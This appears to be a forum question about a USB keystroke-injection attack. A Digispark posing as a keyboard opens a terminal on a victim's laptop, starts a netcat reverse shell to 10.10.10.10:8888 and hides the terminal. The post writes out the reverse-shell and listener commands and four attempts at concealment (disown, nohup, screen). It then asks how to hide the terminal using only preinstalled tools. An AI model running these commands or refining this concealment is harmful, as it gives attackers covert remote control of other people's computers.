SCENARIO: the attacker insert into a victim's laptop an USB which acts as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal.
PROBLEM: the tests I did locally (ubuntu 19.04, and digispark as usb) are the following:
ONE
terminal A nc -e /bin/bash 10.10.10.10 8888
terminal B nc -vlp 8888
Everything works, I have my shell with the prompt on the terminal B but the terminal A is not hidden. Then it is useless in this case.
TWO
terminal A nc -e /bin/bash 10.10.10.10 8888&; disown; exit
terminal B nc -vlp 8888
terminal B just hangs and terminal A is hidden. Useless.
THREE
terminal A nohup nc -e /bin/bash 10.10.10.10 8888&; exit
terminal B nc -vlp 8888
terminal B just hangs and terminal A is hidden
FOUR
terminal A: I open screen
then executenc -e /bin/bash 10.10.10.10 8888
, CTRL^A
, then d
and finally exit
.
terminal B nc -vlp 8888
using screen
everything works (terminal B receives a working shell and terminal A isn't visible) but I don't want to use screen because it is not installed by default.
QUESTION: is there a way (using preinstalled tools) to hidden the terminal without screen
but with the same effect?